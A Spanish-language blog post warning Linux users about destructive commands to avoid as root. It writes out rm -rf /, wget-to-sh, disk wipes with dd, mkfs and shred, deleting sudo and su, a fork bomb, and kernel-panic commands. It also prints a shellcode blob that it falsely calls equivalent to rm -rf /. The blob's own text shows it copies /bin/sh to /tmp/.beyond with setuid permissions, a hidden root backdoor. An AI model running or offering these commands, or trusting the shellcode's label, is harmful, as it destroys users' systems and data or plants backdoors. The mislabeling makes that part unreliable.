Linux es un potente
sistema operativo tanto para servidor como para escritorio; no me
cabe duda de ello. Como pentester o administrador de seguridad lo
utilizo a menudo gracias a la gran cantidad de herramientas para
testing que podemos encontrar.
En Linux es muy
común que ejecutes comandos como # (root), aunque no siempre es lo
recomendable a menos tengas mucha experiencia; dado a que puedes
ejecutar con privilegios elevados algún comando letal que deje fuera
de servicio tu Linux.
Estos son algunos de
los comandos letales que “no debes” (queda claro el
entrecomillas? ;D) ejecutar como # (root) o con privilegios
elevados (sudoers).
- Utilizar erróneamente el comando rm de forma recursiva
Ejecutar el comando
rm (remove) con (-r) que obliga borrado recursivo y (-f) confirmando
la eliminación obligatoria. La (/) solo le indicas que sea desde la
raíz.
rm -rf /
Un comando similar
es:
rm -rf .*
Otra forma de hacer
lo mismo que “rm -rf /” es:
char
esp[] __attribute__ ((section(”.text”))) /* e.s.p
release
*/
=
“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp
-p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
- Ejecutar secuencias de comandos
Un comando muy útil
(viejo pero muy poderoso) es el wget, utilizado para descargar
“contenidos” entre otras cosas de un sitio web.
Sin embargo, hay un
truco sencillo que puede resultar peligroso si el sitio que estás
descargando tiene un script malicioso:
wget
http: // url-sitioweb -O- | sh
La combinación de
los comandos anteriores puede resultar letal cuando haya en el sitio
que descargas un script (bash por ejemplo) malicioso ya que lo
ejecuta inmediatamente al bajarlo.
- Eliminar los privilegios de superusuario:
Ejecutando este
comando estarás eliminando la ejecución de comandos con privilegio
de superusuario.
rm -f
/usr/bin/sudo;rm -f /bin/su
- Desactivar los derechos de comandos root
Esta es otra forma
de ejecutar el comando rm para eliminar los archivos sudo y su, esta
acción tendría como efecto desactivar (corrijo lo dicho por una
palabra más fuerte: eliminar) la ejecución de comandos como root.
rm -f /usr/bin
/sudo; rm -f /bin/su
Recuerden que la
opción (-f) elimina archivos/comandos de su sistema sin ninguna
confirmación, quedando nuestro Linux inservible. Hay maneras de
restaurar lo que se ha eliminado… pero no siempre es sencillo… ni
será agradable al que le toque realizarlo.
- Formatear el disco duro
Este comando
ejecutado “accidentalmente” (yo le diría maliciosamente) tiene
un resultado letal formateando la propia unidad de disco duro.
mkfs.ext3 /dev/hda
Este comando
formatea el disco duro como sistema de archivos ext3.
- Sobrescribir el disco duro
Como si el formateo
del disco “accidental” no fuera suficiente, hay un comando que
ejecutado como root o como superusuario es posible sobrescribir el
disco duro.
[cualquier_comando]
> /dev/sda
En el comando
anterior, la salida del comando bash que ejecutes sobrescribirá la
unidad del disco duro. Esto es posible porque en Linux todo es un
“file”.
- Limpiar el disco duro
Aquí hay otra forma
en que puedes arruinar tu sistema Linux. El dd es una herramienta
útil y sencilla (quizás desconocidas para algunos) utilizada para
clonar un disco duro. La sintaxis común es: dd if=[origen]
of=[destino]; pero al ser utilizada con /dev/zero el comando limpia
nuestro MBR y la tabla de particiones del disco duro. En otras
palabras limpia el disco duro dejándolo en blanco.
dd
if=/dev/zero of=/dev/hda
El parámetro
(/dev/zero) produce como origen de los datos un flujo infinito de
ceros que terminan almacenándose en /dev/hda.
Otra forma de usar
este comando limpiando el MBR pero sin tocar la tabla de particiones
(muy útil para borrar el GRUB sin perder datos en las particiones):
dd
if=/dev/zero of=/dev/hda bs=446 count=1
8) Implosión del
disco duro
Esta es otra forma
de eliminar el disco duro es causando una “implosión” (como
verán hay muchas formas de causarte daño a ti mismo, esta será la
peor de las pesadillas). En Linux hay un archivo llamado “/dev/null”
que suele utilizarse para descartar cualquier dato/comando que se
escribe. Si tuviera que describir a “/dev/null” podría decir que
este archivo es como un agujero negro o una trituradora de archivos:
cualquier cosa (comando, archivo o directorio) que se le tires como
entrada desaparecerá para siempre.
mv / /dev/null
¿Puedes ver o
imaginarte el peligro aquí? El comando mv en manos de un root o
superusuario moverá el directorio raíz “/ “ del sistema en al
agujero negro de “/dev/null”. Este es un comando válido y el
resultado es devastador dando como resultado la desaparición del
disco duro… y no queda nada. Hacer esto hará que tu sistema quede
inutilizable.
9) Destruir datos
Otra forma de
destruir completamente los datos de un dispositivo, es a través del
comando shred:
shred -vz -n 3
/dev/hda
Este comando
escribirá 3 pases (rondas para que se entienda mejor) de datos
aleatorios en el disco duro (o dispositivo extraíble como tarjetas
de memoria, usb, sd, etc).
10) Fork Bomb
El lenguaje bash de
Linux es sencillo, flexible y a la vez poderoso, puedes ejecutar
comandos y también funciones. Desafortunadamente, algunas funciones
vienen con su propio conjunto de riesgos, al igual que los comandos
que estuvimos viendo.
:(){:|:&};:
Ejecutar este
comando malicioso denominado fork bomb, que genera un colapso del
kernel en Linux conocido como “kernel panic”.
Explico lo que pasa:
Al ejecutar una función que se llama así misma en primer plano y
una misma función en segundo plano (es decir en forma recursiva) por
cada vez que esta función se ejecuta, genera dos procesos hijos y
estos en forma recursiva van generando sus propios hijos creando un
ciclo o bucle (en el viejo lenguaje de los programadores) infinito.
Cuando pase esto, la única salida es reiniciar el sistema.
11) Causar Kernel
Panic
Linux al igual que
los demás sistemas operativos no se escapa de los errores. A veces,
un error interno puede producirse a consecuencia recuperación es
imposible causando un perfecto “kernel panic”. Estos comandos
son:
dd
if=/dev/random of=/dev/port
dd
if=/dev/random of=/dev/port
echo
1 > /proc/sys/kernel/panic
cat
/dev/port
cat /dev/zero >
/dev/mem
:(){:|:&};:
Cada una de estas
líneas presenta al ejecutarse conseguirás un “kernel panic” o
dejar tu sistema “tonto”. Tenga presente que al ejecutar estas
líneas un Administrador sabrá que no ha sido un accidente, por lo
que trate de estar alejado de ellos ;D
Muchos se
preguntarán al llegar al final de este artículo, porque Linux
permite ejecutar directamente estos y otros más comandos que no me
atrevo (aún) a comentar sin confirmación… tengo una simple
respuesta a esto: es porque eres el “root” y en Linux el “root”
es el que manda.
Para finalizar
recuerden estos puntos:
- Administren con seguridad sus sistemas operativos.
- Conoce tu sistema operativo.
- Estén seguros antes de darle “enter” al comando que están ejecutando.
- Si sospechas que tu Linux fue vulnerado; presta atención a los comandos que se ejecutan en primer y segundo plano. Para ello tendrás que cumplir con el punto 2.